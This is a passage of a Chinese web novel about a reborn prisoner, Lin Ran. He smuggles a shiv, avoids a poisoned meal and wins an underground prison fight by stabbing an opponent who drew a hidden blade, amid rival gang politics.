大眼仔那双大得吓人的眼睛盯着林燃看了几秒,忽然笑了。
“你怕笑面佛在台下动手?”
“防人之心不可无。”林燃说。
“行。”大眼仔痛快地答应了。
“刀我可以给你弄进来,但要是被查到,你自己扛,别牵扯码头帮。”
“成交。”
他从怀里掏出一个信封,推给林燃,“这里是三千。剩下的两千,等你上台前给。”
林燃没有打开就把信封推回去:
“钱不用给我,从外面给一个指定账户。”
大眼仔点头,看来这小子是要给外面的人寄钱,这在里面简直匪夷所思。
只听过犯人要钱的,没见犯人寄钱出去的。
难怪这小子弯弯绕绕找这么多关系兑现金。
林燃问:“比赛规则?”
“无限制格斗,倒地十秒不起算输,认输算输。”大眼仔说,“不准用武器,不准插眼踢裆——
当然,真打急了没人管这些。裁判是第三方的人,会尽量公平,但也别指望太多。”
“时间?”
“周六晚上十点,锅炉房。提前半小时到场热身。”
林燃点点头,站起身:“那就这样。”
大眼仔也站起来,巨大的身躯再次笼罩过来。
“最后提醒你一句。”
他说,“猴子不好打。他的腿很快,你最好别让他拉开距离。近身,缠斗,还有......”
他顿了顿,声音压低:
“我们老大不喜欢输。如果你输了,他可能会觉得你没用。到时候,我也保不住你。”
“明白。”
林燃转身离开阅览室。
三千块。足够母亲给父亲买三个月的药,吃几顿像样的饭。
但代价,可能是他的一根肋骨,一只手,或者一条命。
他走过走廊,铁窗外天空灰蒙。
回到312监室,刀疤辉三人正在打牌,见到林燃进来,动作明显一滞。
林燃没理他们,径直走到自己的铺位,从枕头底下摸出那个小本子和铅笔。
他翻到空白页,开始写信。
“妈,见字如面。儿在里面一切都好,吃得饱,穿得暖,干部对我也照顾。最近因为表现好,奖励了一些钱,我会寄回三千。先给爸买药,剩下的补贴家用,别省着。儿很快就能出去,等我......”
写到这里,笔尖停顿。
很快是多久?一年?两年?还是像前世一样,十年?
他摇摇头,把那些杂念甩开,继续写:“照顾好自己,别太累。等我出去,一切都会好起来。儿,林燃。”
写完,他把信纸折好,和信封一起交给周晓阳。
“明天是你的探视日,让你妈帮忙,把这封信寄出去。”林燃说,“地址在里面。”
周晓阳接过,用力点头:“放心林哥,一定办到。”
夜里,林燃躺在铺位上,听着监室里此起彼伏的鼾声,缓缓闭上了眼睛。
脑海中,开始模拟和“猴子”侯勇的对战。
身高、体重、技术特点、习惯动作......
每一个细节都在大脑里拆解、重组、推演。
前世在警校搏击队训练的日子,那些流汗流血的记忆,此刻全部苏醒。
侧踹,鞭腿,肘击,膝撞......
每一种技术的角度、力道、时机......
离下周六,还有三天。
距离黑拳赛还有三天。
林燃的生活节奏骤然加快,却又在表面维持着监狱刻板的日常——起床、点名、早餐、劳动、午餐、放风、晚餐、熄灯。
但在每一个看似重复的循环里,他都在为周六那场生死斗积蓄力量。
在阅览室,他会借着去厕所的机会,在隔间里做三组深蹲和俯卧撑,每组二十个,不多不少,不会引起过度疲劳,却能持续刺激肌肉记忆。
放风时间,他也独自绕着操场边缘慢跑。速度不快,但每一步都踏得沉稳,呼吸控制在四步一吸、四步一呼的节奏。跑完十圈后,他会走到操场东北角的单杠区——那里通常是锻炼的犯人才会去的地方。
第四十三章 北佬帮
监狱内不鼓励犯人锻炼,特别是高强度对抗性的运动,像安江这样有操场的都很少。
所以弥足珍贵,像这个小操场都被帮派把控。
林燃第一次走向单杠时,周围几个正在拉引体向上的壮汉都停下了动作,目光警惕地打量他。
其中一个胸口纹着关公像的光头汉子瓮声瓮气地问:“新来的?嘎哈的?懂规矩吗?”
林燃没说话,只是走到最外侧那根有些锈蚀的单杠前,纵身一跃抓住横杆。
他没有像其他人那样追求数量,而是用极慢的速度向上拉——拉到下巴过杆时停顿三秒,再以更慢的速度放下。
一组八个,做完三组,全程呼吸平稳,手臂肌肉线条在囚服下清晰地隆起又平复。
关公文身的汉子眯起了眼睛。
他是常健身的老犯,练了十几年街头健身,一眼就看出林燃这种“慢速离心”训练法的狠辣——
这练的不是蛮力,是绝对控制力,是能在关键时刻爆发又收住的筋骨韧性。
“有点意思。”
光头汉子嘟囔一句,手往单杠上一敲,发出嗡嗡声,
“喂喂,找事?知不知道这是我们‘北佬’的地方?”
听到这句话,林燃停下动作。
眼前这群人属于“北佬”,也叫“北佬帮”。
是安江监狱里的另一个帮派,主要由外省监狱移过来的北方籍暴力重刑犯组成。
天生被以安江本地人为主的佛爷系排挤,和“码头帮”“笑面佛”他们算是三足鼎立。
老大“东北虎”赵大金是个新入狱的重刑犯,刑期长,身份背景神秘。
帮派风格悍勇直接,极强的地域认同感和“老乡”义气,对外一致,战斗力集中,习惯用最直接的暴力解决问题。
不擅长也不屑于佛爷系那套弯弯绕绕的“规矩”。
崇拜武力,内部地位凭拳头说话。
业务简单粗暴,主要靠保护同乡、参与赌局、有时也干“拿钱平事”的暴力活。
但尚未建立佛爷、码头帮那样复杂的产业链。
这块小操场就是他们的地盘。
见林燃胆大到他们的地盘来锻炼,这伙人马上围了过来,都人高马大,操着北方口音。
“嘎哈嘎哈?”
“瞅啥呢?找削?”
林燃有点烦躁,没想到锻炼也惹到一伙人,这时旁边一个声音响起。
“兄弟!不好意思,这是我们的人。”
没想到“码头帮”的大眼仔居然到了。
他看到林燃被围,作为自己的拳手,自然想过来解围。
“这是我们帮里的‘斗仔’,这马上上场,你懂哈?帮个忙,让他练下手……”
“斗仔”是安江监狱里对拳手的称呼,大眼仔客气地掏出烟,给“北佬帮”几个人散去。
却没想到对方接都不接。
“你们‘码头帮’面子大哈?要占我们地盘了?”
大眼仔这下有点愣眼,没想到这些北方佬这么蛮狠,给本地人一点面子都不给,他正犹豫要不要叫人过来时。
旁边的林燃开口了。
“各位,我林燃就借一下,不行我可以给租金?”
“你算老几,你……”
“北佬帮”一个手下正要出头,却被那纹着关公的光头佬给拦住了:“林燃?你就是林燃?”
林燃见他这样子,居然对自己蛮有印象。
此时,光头佬狞笑一声:“那可以啊,你这一条腿,值一万多块呢!”
“你什么意思?”
大眼仔见对方来头不善,挡在他和林燃中间,隔开了对方。
“嘿,听说有个叫林燃的得罪了不少人,黑市上有人花一万多买你一条腿呢!两条腿就是两万!只要废了就行。”
这光头佬一边冷笑,一边打量林燃,像是在看行走的两万块。
“没想到这里碰到了,喂,你挺有面子嘛,怎么样?你到底是不是林燃?”
大眼仔也没想到林燃被买凶的价格这么高,头上冷汗都沁出来,当即就想示意他否认。
却没想到眼前的年轻人,却抬头道:“对,行不更名,坐不改姓,我就是林燃。”
“怎么?你现在想赚两万块么?”
林燃说完,当即拉开架势,准备出手。
旁边大眼仔脑门一晕,这人太勇了吧,现在和这群北佬冲突……
却没想,那光头北佬听到林燃这样坦然,反而咧嘴一笑。
“你们本地人太娘了,干人都不敢自己上,只敢花钱叫人下黑手,真娘们唧唧……”
说完,吐了个唾沫,接着居然向林燃竖起了个大拇指:
“对你小子不错,挺爷们的,这地方就让你练吧,走,抽烟去。”
说完,这群北佬一把夺过大眼仔手里的烟,把操场让了出来。
“呼,这些蛮子……”
在北佬们走后,大眼仔吐出一口气,拍了拍林燃肩膀:
“你小子到底什么事得罪‘笑面佛’了?他玩这么大?花这么多钱买你的脚?”
林燃冷笑一下,没有回答。
他心里却知道,这两万块买自己残废的。
不一定是笑面佛,毕竟他刚和陈有仁达成短暂和平协议。
更可能是那个毁掉自己前世的黑手!
这也是他为何千方百计寻找庇护,准备贴身武器的原因。
现在多想无益,林燃集中精神,继续自己的训练。
林燃做完单杠,又走到旁边的双杠前,做了一组臂屈伸。
同样是慢速,同样是极致的控制。汗水顺着他的鬓角流下,滴在水泥地上,很快被午后的阳光蒸干。
第三天下午,放风结束时,铁头趁乱塞给林燃一个小布包。
“林哥,你要的东西。”铁头的声音压得极低,眼神紧张地扫视四周。
“大眼仔让我给你的。他说......小心用。”
林燃不动声色地将布包揣进囚服内袋,手感告诉他,里面是一把不到十厘米长的自制小刀。
刀柄用布条缠裹,刀刃应该是用磨尖的钢片做的,谈不上锋利,但足够捅穿皮肉。
“钱呢?”他问。
“已经汇出去了。”
铁头说,“大眼仔亲自安排的,说今天下午就能到账。他还让我带句话——‘船爷’这场拳压了重注。让你......好好打。”
林燃点点头,没再多说。
第四十四章 拳台
傍晚五点半,开饭铃刺耳地响起。
312监室的人陆续拿着铝制饭盒往外走。林燃靠在床头,闭目养神。
距离拳赛还有四个多小时,他需要让身体彻底放松,把每一分能量都积蓄起来。
“燃哥,吃饭了。”
周晓阳端着两个饭盒走过来,声音比平时低。
他把其中一个饭盒放在林燃床边的水泥台上——那是林燃的固定位置,没人敢碰。
林燃睁开眼,目光落在饭盒上。
今天的菜和往常一样:一勺看不出原料的糊状物,两个硬邦邦的窝头,几片腌萝卜。
但林燃注意到,周晓阳端饭盒的手有些不稳,指尖微微发颤。
他抬起视线,看向周晓阳的脸。
这个二十出头的年轻人眼神躲闪,不敢与他对视。
额头上沁出汗晕,在昏暗的灯光下反射着微光。
周晓阳的喉结上下滑动了一下——那是吞咽口水的动作。
“今天伙房加菜了?”林燃问,语气平淡。
“没、没有,就平常那些……”周晓阳的声音更低了。
林燃没动饭盒。
他盯着周晓阳看了三秒,这三秒漫长如年。
监室里其他人都已出去吃饭,只剩下他们两人。
刀疤辉在门口回头看了一眼,眼神复杂,随即快步离开。
“晓阳。”林燃开口,“你跟我多久了?”
周晓阳身体一颤:“快、快两个月了……”
“我对你怎么样?”
“燃哥对我好,给我位置,护着我……”周晓阳的声音开始发抖。
“那为什么害我?”
这句话像一把冰锥,敲碎此刻冰封的氛围。
他脸色瞬间煞白,手中的饭盒“哐当”一声掉在地上,糊状物溅了一地。
“我、我没有……”周晓阳后退两步,背抵在铁栏杆上。
林燃从床上坐起来,动作缓慢却带着压迫感。
他没看地上洒落的食物,而是直视周晓阳的眼睛:
“谁让你做的?什么时候动的饭盒?下的什么药?”
三连问,每个问题都精准击中要害。
周晓阳瘫坐在地上,双手抱住头,肩膀开始剧烈抖动。
他不是个擅长撒谎的人。
这两个月跟着林燃,虽然学会了硬气一点,但骨子里还是那个被欺负了只会忍气吞声的年轻人。
“是、是刀疤辉……”他哽咽着说。
“下午放风时,他把我拉到角落……说如果我不在饭里加东西,他就找人弄死我在外面的妹妹……”
林燃的眼神沉了下来。
“他给了我一个小纸包,说是安眠药粉,吃了只会睡一觉……
燃哥,我不敢,我真的不敢害你,但我妹妹她还在上学,我妈身体也不好,我……”
周晓阳已经泣不成声。
林燃蹲下身,捡起地上那个没洒的窝头,掰开。
窝头内部颜色正常,但靠近中心的位置,有一小撮不明显的白色粉末——
如果不是刻意掰开仔细看,根本发现不了。
“这不是安眠药。”
林燃用手指捻起一点粉末,放在鼻尖闻了闻。
没有明显气味,但粉末的质地很细。
“如果是安眠药,应该会有点苦味。这玩意……可能是别的什么。”
现在查清楚是什么已经无所谓了。
重要的是敌人已经再次出手了。
笑面佛?还是那个出两万买自己腿的幕后黑手?
或者,他们本就是同一伙人。
“燃哥,对不起,我真的……”周晓阳跪在地上,头磕得砰砰响。
林燃把他拉起来:
“别磕了,饭我没吃。”
“对不起!燃哥!不会了!绝对不会了!”周晓阳疯狂摇头。
“燃哥,你弄死我都行!”
他看着周晓阳红肿的额头和满脸的泪水,语气稍微缓和,“别叫了,这事我回来再说。”
“那你……饿不饿?我再去给你弄点吃的?”
“不用你管,滚出去。”林燃重新坐回床上,闭上眼睛。
周晓阳只好抹着眼泪跑出去。
整整一天的训练,体力消耗巨大。但他不能吃任何可能有问题的东西。
空腹上拳台虽然会影响发挥,但总比被人下毒要好。
林燃听着他的脚步声远去,缓缓睁开眼。
监室里空荡荡的。
昏黄的灯光从高处洒下,在水泥地上投出铁栏杆扭曲的影子。
远处传来犯人们吃饭时的嘈杂声、铝制饭盒的碰撞声、狱警不耐烦的呵斥声。
这是一个吃人的地方。
每个人都在算计,每个人都在挣扎。信任是奢侈品,背叛是日常。
林燃摸了摸囚服内袋。
那个小布包还在,硬硬的,贴着皮肤。
刀在,心里就踏实一点。
晚上八点,监室熄灯。
林燃躺在黑暗中,听着监室里其他人的呼吸声。
刀疤辉的呼吸很沉,带着刻意压抑的紧张。
牛哥和麻杆已经睡着,发出轻微的鼾声。
周晓阳的呼吸很轻,几乎听不见——他还没睡,可能在害怕,可能在愧疚。
林燃数着自己的心跳。
每分钟六十二下,很稳。
九点半,外面传来三声轻叩——那是约好的信号。
监室铁门被轻轻敲响。
林燃起身,从枕头芯里取出小刀,藏进囚服内袋。
周晓阳也坐起来,想说什么,林燃摆了摆手,示意他躺下。
铁门被拉开一道缝,一个陌生狱警的脸出现在外面——是码头帮买通的人。
“312林燃,出来。”
狱警声音平淡,听不出情绪。
林燃走出监室,狱警立刻关上门,给他戴上一副特制的手铐——
铐环很松,几乎不影响手腕活动,但外表看起来和普通手铐没区别。
“跟着我,别说话。”
狱警说完,转身朝走廊深处走去。
两人穿过监区,经过一道需要钥匙开启的铁门,进入一条林燃从未走过的通道。
通道很窄,墙壁斑驳,头顶的灯管有一半不亮,投下明明暗暗的光影。
空气中弥漫着一股霉味和淡淡的铁锈味。
走了大约五分钟,前方隐约传来嘈杂的人声。
通道尽头是一扇厚重的铁门,
狱警掏出钥匙打开,刺眼的灯光和热浪扑面而来。
林燃眯起眼睛。
眼前是一个巨大的废弃锅炉房,挑高至少十米,空间开阔得不像监狱建筑。
原本放置锅炉的地方被清空,腾出一片约三十平米的空地,周围用废旧轮胎围成一个简易的擂台。
那就是拳台。
第四十五章 死斗
拳台四周,黑压压地站满了人——全是犯人,至少有几十个,分成了几个明显的阵营。
左侧是码头帮的人,以大眼仔为首,十几个精壮汉子还穿着车间防尘服,看来是以劳改加班的名义,溜过来看拳赛的。
右侧是笑面佛的人,陈有仁依旧穿着那身平整的囚服,脸上挂着标志性的笑容。
身后站着白癜风和平头男,还有七八个一看就是打手的壮汉。
见林燃进来,笑面佛微微点头,笑容深了几分。
正对面,则是一些中立势力的头目和慕名而来的赌徒。
林燃看到了几个熟悉的面孔——其中“北佬帮”那个关公纹身的汉子抱着双臂,对自己笑着示意。
擂台中央,一个精瘦的年轻人正在热身。
侯勇。
他比林燃想象的还要瘦一些,身高一米七五左右,穿着一条黑色短裤。
赤裸的上身肌肉线条清晰但不夸张,每一块肌肉都像是为速度和爆发力而生。
他正在做高抬腿,动作快得像装了弹簧,双腿在空中划出残影。
林燃的目光落在侯勇的腿上——小腿肌肉异常发达,跟腱细长,这是长期练腿法的特征。他的脚踝上缠着绷带,应该是旧伤。
“林燃,这边。”
大眼仔招了招手。
林燃走过去,码头帮的人自动让开一条路。
“还有十分钟。”大眼仔说,“规则再说一遍:无限制,倒地十秒不起算输,认输算输。裁判是第三方的,说是以前打过职业拳击,会尽量公正。但你也知道,这种地方......”
他顿了顿,压低声音:“猴子下手狠,专攻关节。
他第一波进攻通常是试探,用低扫腿测你的反应。
第二波会加快节奏,用连环踢压迫你。
第三波......如果前两波没解决你,他会用杀招——转身后蹬,或者腾空侧踹。
这两种招式威力大,但破绽也大,落地时有瞬间的僵直。那是你唯一的机会。”
林燃点点头,开始脱囚服上衣。
他里面穿着一件贴身的黑色背心,是昨天用点数跟“码头帮”换的。
背心很旧,但洗得干净。
露出的小臂和肩膀肌肉匀称,没有夸张的维度,但每一寸都透着精悍的力量感。
大眼仔递过来一副缠手带。
“用这个,保护指关节。”
林燃接过,熟练地将双手缠好——这是警校搏击课的基本功,缠带的松紧、层数、包裹位置都有讲究,既能保护手部,又不影响握拳发力。
缠好手,他开始做最后的热身。
不是侯勇那种高频率的弹跳,而是缓慢的、拉伸筋骨的动态热身。
颈、肩、肘、腕、腰、髋、膝、踝——每一个关节都被充分活动开,肌肉从沉睡状态逐渐苏醒,血液流速加快。
九点五十分,一个囚犯撩起袖口的中年男人走上擂台。
他身材敦实,脸上有道疤,眼神倒很锐利,大眼仔介绍他叫老炮,以前酒吧打黑拳的,听说打死人才进来,结果没想到在这里又整上黑拳。
“这就是“干一行、爱一行、精一行”!”
大眼仔挑着眉,模仿新闻里领导讲话的腔调,但此刻林燃没心情听他的冷笑。
因为眼前老炮的语气沙哑喊道:“双方选手上台!”
侯勇停止热身,一个轻巧的纵身跃上擂台。动作流畅得像只真正的猴子。
林燃深吸一口气,也走上擂台。
两人在擂台中央对峙,相距三米。
侯勇看着林燃,忽然咧嘴笑了,露出一口白牙:“新人?听说你很能打。”
林燃没说话,只是微微颔首。
“希望你别让我失望。”
侯勇扭了扭脖子,发出咔哒的轻响,“我讨厌打得太快的比赛,没意思。”
老炮走到两人中间,举起双手。
“规矩都懂了吧?我喊开始才能动手,我喊停必须停。倒地十秒不起算输,认输算输。有没有问题?”
两人同时摇头。
“好。”
老炮放下手,后退到擂台边缘,“准备——开始!”
话音落下的瞬间,侯勇动了。
不是直扑,而是侧向滑步,快速拉近距离,一记低扫腿闪电般踢向林燃的左小腿胫骨!
这一腿来得极快,角度刁钻,带着破风声。
但林燃也动了。
他没有后退,反而向前半步,左腿微微抬起,用小腿外侧硬生生接了这一腿!
砰!
沉闷的撞击声在锅炉房里回荡。
林燃身体晃了晃,左小腿传来一阵剧痛——侯勇的腿像铁棍一样硬。
但他借势向右侧旋身,右手一记摆拳砸向侯勇的头部!
侯勇似乎没料到林燃会选择硬接,愣了一下。
但反应极快,后仰躲过摆拳,同时右腿再次抬起,一记中位侧踹直踹林燃腹部!
林燃收腹,双手交叉下压,挡住了这一踹。
巨大的力量让他后退了两步,手臂发麻。
“好!”
台下传来喝彩声,是码头帮的人在叫好。
侯勇眼神亮了起来,那是猎人看到猎物时的兴奋。
他不再试探,开始加快节奏。
左低扫,右中踢,左高鞭腿——三腿连环,一气呵成,腿影如风,将林燃逼得连连后退。
林燃没有硬拼,而是用灵活的步法和格挡化解攻势。
侯勇的腿确实快,每一腿都带着穿透力,但林燃发现了一个规律——
侯勇每次出腿前,支撑腿的脚尖会有一个细微的外旋动作,那是蓄力的征兆。
而且,侯勇的连环踢虽然凶猛,但每一腿之间其实有极短的间隔,大约零点几秒左右。
这个间隔对普通人来说可以忽略不计,但对林燃这种经过专业训练的人来说,是可以捕捉到的破绽。
第五腿,侯勇一记高鞭腿扫向林燃头部。
林燃这次没有格挡,而是猛地俯身前冲,在腿影扫过的瞬间钻了进去,一记沉重的勾拳砸向侯勇的肋部!
咚!
拳头结结实实打在肋骨上。
侯勇闷哼一声,后退两步,脸上的笑容消失了。
“有点意思。”
他揉了揉肋部,眼神变得危险。“看来不能陪你玩太久了。”
第四十六章 绝杀
话音刚落,他的攻势骤然狂暴!
不再是试探性的单腿进攻,而是双腿交替,如狂风暴雨般倾泻!
低扫、中踢、高鞭、转身后摆——各种腿法信手拈来,每一腿都直奔要害!
林燃被彻底压制,只能不断格挡、闪避。
手臂、小腿、腹部接连中招,剧痛如潮水般涌来。
侯勇的脚尖擦过他的下巴,带出一道血痕。
台下,码头帮的人脸色凝重。
大眼仔心道:
“情况不太妙。猴子认真了。”
笑面佛那边,陈有仁的笑容越发灿烂。
擂台上,林燃的呼吸开始急促。
侯勇的体力好得惊人,猛攻了三分钟,速度居然没有丝毫减慢。
而林燃已经挨了不下二十腿,虽然都避开了要害,但身体的负担越来越重。
必须改变局面。
林燃咬紧牙关,在侯勇又一记低扫腿踢来时,他做出了一个惊人的举动——
不躲不挡,而是迎着腿冲了上去!
咔嚓!
清晰可闻的骨裂声!
林燃的左小腿胫骨结结实实挨了一腿,剧痛让他眼前一黑。
但他借着这股冲劲,整个人撞进侯勇怀里,双手死死抱住侯勇的腰!
近身了!
侯勇脸色一变,想要挣脱,但林燃的力量远超他的预料。
两人纠缠着倒地,林燃在上,侯勇在下!
地面战!
这是侯勇最不擅长的领域!
林燃用全身重量压住侯勇,左手锁住侯勇的脖子,右拳朝着侯勇的面门猛砸!
砰!砰!砰!
三拳,拳拳到肉。
侯勇鼻血喷溅,眼睛肿了起来。
他拼命挣扎,双腿乱蹬,但林燃就像跗骨之蛆,死死缠住他。
“松手!”侯勇嘶吼,一记头槌撞向林燃的下巴。
林燃偏头躲过,头槌撞在他的锁骨上,又是一阵剧痛。
但他不管不顾,右拳继续砸下!
第四拳,侯勇的眉骨开裂。
第五拳,嘴唇破裂。
第六拳——
侯勇终于怕了。
他感受到林燃眼中那种不要命的狠劲,那不是打拳,那是搏命!
“我认——”
“输”字还没出口,林燃的第七拳到了。
这一拳砸在侯勇的太阳穴上,不重,但足够让他眼前发黑。
认输的话卡在喉咙里。
而就在这时,林燃的左手悄悄下移,食指和中指并拢,精准地戳在侯勇右腿膝盖外侧——阳陵泉穴!
这是警校教的痛击点位置!
啊!
侯勇发出一声短促的惨叫,整条右腿瞬间酸麻,失去了知觉。
林燃趁机翻身而起,右腿高高抬起,一记下劈腿狠狠砸向侯勇的胸口!
这一腿,他用尽了全身力气。
轰!
侯勇的身体在擂台上弹了一下,喷出一口血沫。
整个锅炉房瞬间寂静。
所有人都盯着擂台中央——
林燃保持着下劈腿的姿势,右腿重重压在侯勇胸口。
而侯勇仰面躺着,双眼翻白,胸膛剧烈起伏,每一次呼吸都带着血沫的“嗬嗬”声。
三秒。
五秒。
八秒。
裁判老炮从震惊中回过神,快步上前,开始读秒:“一!二!三!”
他的声音在空旷的锅炉房里回荡。
码头帮那边爆发出欢呼,大眼仔兴奋地挥舞拳头,几个手下跟着起哄。
笑面佛脸上的笑容淡了些,但眼神依然平静,甚至带着某种玩味。
北佬帮的关公文身汉子吹了声口哨:“够狠!”
林燃缓缓收腿,站直身体。
左小腿胫骨传来钻心的痛,刚才硬接侯勇那一腿,骨头可能裂了。
右臂和腹部多处淤青,下巴那道血痕还在渗血。
但他站着。
而侯勇躺在地上,老炮已经数到“七”。
“八!”
侯勇的手指动了动。
他艰难地转过头,吐出一口血沫,里面混着半颗牙齿。
右腿的酸麻感正在消退,但胸口像被巨石压住,每一次呼吸都扯着内脏疼。
“九——”
就在这个瞬间,侯勇眼中闪过一丝狠厉。
他的左手悄悄摸向自己的右小腿——
那里绑着一条绷带,绷带内侧,缝着一片磨尖的剃须刀片。
这是他的保命手段,也是杀手锏。
在黑拳台上混了两年,他知道什么时候该用。
老炮的“十”字就要出口。
侯勇突然暴起!
不是站起,而是身体猛地一弹!
像条被斩断头的眼镜蛇,身虽死,头已落,但仍能噬人!
他左手从绷带中抽出刀片,划向林燃的脚踝!
刀片只有三厘米长,但边缘被磨得极薄,在昏黄的灯光下闪着寒光。
这一下太突然,太阴毒。
台下惊呼声四起。
大眼仔脸色骤变:“小心!”
林燃其实一直没放松警惕。
前世十年的监狱生涯告诉他,在对手彻底失去反抗能力前,任何松懈都是致命的。
所以他虽然收腿站直,但目光始终锁定侯勇的每一个细微动作。
当侯勇左手摸向小腿时,林燃的瞳孔就收缩了。
当那道寒光划来时,林燃已经做出了反应——不是后退,而是向前!
他左脚猛地踩住侯勇持刀的左手手腕,同时身体下压。
右手从囚服内袋抽出那把小刀,对准侯勇的右肩胛骨与锁骨之间的位置,狠狠刺下!
噗嗤!
刀刃入肉的声音很闷,但全场都听得见。
侯勇的惨叫声戛然而止,取而代之的是一种窒息的“嗬嗬”声。
刀片从他手中滑落,掉在水泥地上,发出清脆的响声。
林燃的小刀,刀身全部没入侯勇的身体,只留缠着布条的刀柄在外面。
位置选得很准——避开了大动脉和重要脏器,但刺穿了肌肉群,伤到了神经。
这一刀不会要命,但侯勇的右臂,这辈子都别想再抬起来。
“啊啊啊啊啊——”
侯勇终于发出撕心裂肺的惨叫,身体剧烈抽搐。
林燃拔出刀,带出一股鲜血。
他后退两步,冷冷地看着在地上翻滚的侯勇。
锅炉房里死一般寂静。
所有人都被这血腥的一幕震住了。
黑拳赛见血是常事,断胳膊断腿也不稀奇,但这样干净利落的一刀反杀。
还是让这些见惯了暴力的犯人感到脊背发凉。
老炮张了张嘴,想说什么,最终只是咽了口唾沫,举起林燃的手:
“胜……胜者,林燃!”
第四十七章 冲突
没有欢呼。
只有沉重的呼吸声和侯勇痛苦的呻吟。
林燃擦了擦刀身上的血,重新藏回内袋。
他转身看向台下,目光扫过每一张脸。
码头帮的人眼神复杂,有敬畏,也有忌惮。
大眼仔朝他点点头,但没说话。
笑面佛那边,陈有仁脸上的笑容彻底消失了。
他盯着林燃,眼神像毒蛇一样阴冷。白癜风和平头男的手已经摸向腰间——那里藏着家伙。
北佬帮的关公纹身汉子拍了拍手:“漂亮!”
这三个字打破了沉默。
紧接着,各种声音此起彼伏:
“操,真他妈狠……”
“猴子废了。”
“那刀藏哪儿的?搜身时没查出来?”
“你傻啊,肯定买通狱警了。”
林燃没理会这些议论。
他跳下擂台——
左腿落地时一阵剧痛,让他踉跄了一下。
大眼仔赶紧上前扶住他。
“怎么样?”
“腿可能裂了。”
林燃的声音很平静,仿佛在说别人的事。
“先回去监室,明天再想办法去医务室。”
大眼仔朝手下使了个眼色,两个壮汉立刻上前,一左一右架住林燃。
“等等。”
笑面佛的声音响起。
陈有仁缓缓走过来,脸上重新挂起笑容。
笑的没有温度。
“林燃,好身手。”
他说,“不过,拳台上动刀子,坏了规矩吧?”
林燃看着他:
“他先用的刀片。”
“是吗?”
陈有仁转向老炮,“裁判,你看见了?”
老炮额头冒汗,支吾道:
“我……我没太看清……”
“那就是没证据。”
陈有仁的笑容深了些。
“按规矩,拳台动武器,要断一指。
这是道上多少年的老规矩了,大眼仔,你们码头帮应该懂吧?”
大眼仔脸色难看。
陈有仁说得没错。
地下黑拳有地下黑拳的规矩,你可以打死人,但不能用武器。
用武器,就坏了“公平比斗”的面子,传出去会被所有帮派看不起。
“陈有仁,你少来这套。”
大眼仔咬牙道:
“猴子先动的手,大家都看见了!”
“谁看见了?”
陈有仁环视四周。
他手下的人齐声应和:“没看见!”
中立势力的人纷纷移开目光——
谁也不想卷入码头帮和笑面佛的争斗。
只有北佬帮那个关公文身汉子笑了:
“我看见了,猴子先掏的刀片。”
陈有仁看了他一眼,眼神阴鸷:
“赵大金的人?这事跟你们北佬帮没关系。”
“怎么没关系?”汉子咧嘴。
“我看不惯以多欺少。要不这样,你们两边再打一场,赌大点,我坐庄?”
这话一出,气氛更加紧张。
陈有仁盯着汉子看了几秒,忽然笑了:
“好,既然‘东北虎’的人说话了,我给面子。不过——”
他转向林燃:
“林燃,你之前先欺负我的手下,后面又废了我最得力的拳手。
这事,不能就这么算了。”
林燃推开扶着他人,站直身体:
“你想怎样?”
“两条路。”陈有仁竖起两根手指,
“第一,你加入我这边,以后替我打拳。‘坦克’的位置,你来坐。第二……”
他顿了顿,笑容变得残忍:“还是按规矩,断一指。你自己选。”
大眼仔急了:“陈有仁!林燃是我们码头帮的人!”
“是吗?”陈有仁挑眉,
“我怎么听说,他只是利用你们的现金渠道,拿点数换钱而已,手续费就是打一场拳。
现在钱货两清,哪来的人?”
大眼仔语塞。
确实,林燃和码头帮只是交易关系,不是真正的自己人。
船爷看重的是他能打,能赢钱,但不会为了他跟笑面佛彻底撕破脸。
林燃心里清楚这一点。
他看了看陈有仁,又看了看大眼仔,最后目光落在自己缠着布条的右手上。
“我选第三条路。”他说。
“哦?”陈有仁饶有兴趣。
林燃缓缓抬起右手,伸出食指:
“这根手指,你要,可以来拿。但我要提醒你——”
他的声音陡然转冷:
“我这条命不值钱,但够硬。
今天你敢动我一根手指,明天我就让你少一只手。
不信,你可以试试。”
话音落下的瞬间,整个锅炉房的温度仿佛降了几度。
陈有仁脸上的笑容僵住了。
他身后,白癜风和平头男已经掏出家伙——
是两根磨尖的钢筋,藏在袖子里,此刻亮了出来。
码头帮的人也纷纷摸向腰间。
北佬帮的汉子哈哈大笑:
“有意思!太他妈有意思了!陈有仁,你倒是动手啊!老子等着看戏呢!”
剑拔弩张。
一触即发。
就在这时,
陈有仁的目光在林燃脸上停留了足足十秒。
锅炉房里静得能听见侯勇微弱的呻吟,以及远处管道渗水的滴答声。
所有人都屏住呼吸,等着看笑面佛会如何应对这句赤裸裸的威胁。
白癜风和平头男握紧了钢筋,肌肉紧绷,只等陈有仁一声令下。
大眼仔额头渗出冷汗,手悄悄摸向腰后——那里别着一把用机床零件磨成的短刺。
北佬帮的关公文身汉子则咧着嘴,一副看好戏的模样,他身后几个壮汉也微微前倾,似乎随时准备插手。
终于,陈有仁笑了。
不是那种阴冷的假笑,而是一种……带着几分玩味和审视的笑。
“好。”
他点了点头,声音不大,却清晰地传遍整个锅炉房,“林燃,你够种。”
他抬手,示意手下收起武器。
白癜风和平头男愣了一下,但还是把钢筋缩回袖中。
“今天这场拳,你赢了。”
陈有仁继续说,语气平静得像在陈述事实。
他顿了顿,目光扫过大眼仔和北佬帮的汉子:
“至于我手下‘坦克’的账,还有你我之间的事……
改天再算。监狱日子长着呢,不急。”
这话说得四平八稳,既保留了面子,又暂时避免了冲突升级。
大眼仔暗暗松了口气——
真打起来,码头帮在场的人少,未必能护住林燃周全。
北佬帮的汉子有些失望地“啧”了一声,但也没再说话。
“走。”
陈有仁转身,带着手下朝锅炉房另一侧的通道走去。
经过林燃身边时,他脚步微顿,用只有两人能听到的声音说:
“你得罪的人可不只是我,你最好祈祷你的命,真的够硬。”
第四十八章 家法
说完,他头也不回地离开。
笑面佛的人一走,紧张的气氛顿时缓和了不少。
大眼仔擦了把汗,赶紧上前:“林燃,快走,我送你回监舍。”
林燃点点头,左腿的剧痛让他几乎站不稳。
两个码头帮的犯人架起他,朝来时的那条通道走去。
北佬帮的汉子在后面喊了一句:
“小子,有空来我们地盘坐坐!‘东北虎’想见见你!”
林燃没有回头,只是抬起没受伤的右手,挥了挥。
…………
通道阴暗潮湿。
架着林燃的两个犯人走得很快,买通的狱警在前面带路。
手电筒的光束在斑驳的墙壁上跳跃。
“林哥,你刚才太猛了。”
左边那个犯人低声说,语气里带着敬畏:
“猴子在拳台混了两年,从来没输这么惨过。”
右边那个接话:
“笑面佛居然怂了……我头一回见他吃瘪。”
林燃没说话,只是闭着眼,调整呼吸。
